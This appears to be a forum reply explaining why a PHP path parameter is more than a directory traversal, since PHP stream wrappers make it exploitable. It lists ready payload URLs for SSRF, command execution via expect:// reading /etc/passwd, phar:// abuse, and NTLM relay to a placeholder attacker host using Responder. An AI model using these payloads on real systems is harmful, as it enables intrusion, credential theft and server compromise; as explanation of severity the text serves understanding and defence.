Per the comment above you could use path truncation on an older version of PHP, however, as there is no data before the attacker controlled data you can use wrappers (https://www.php.net/manual/en/wrappers.php). This means the vulnerability is not just a directory traversal, but can be used for a number of attacks, including SSRF and remote code execution. Here are a few examples:
Server side request forgery:
https://example/file.php?path=http://internalsystem/path/file?junk=
RCE via expect:
https://example/file.php?path=expect://cat /etc/passwd;echo
RCE via phar:
https://example/file.php?path=phar://tmp/uploadedfile
(needs a .txt extension on the uploaded file)
RCE via NTLM relay (if its a windows box)
https://example/file.php?path=\\attackerip\nonexitentfile
You'll need to set up tooling for this, such as responder (https://github.com/lgandx/Responder)
Depending on the application you may also be able to use the ftp:// and ssh:// wrappers to run commands or access other files on the server.
Hope this helps, and good luck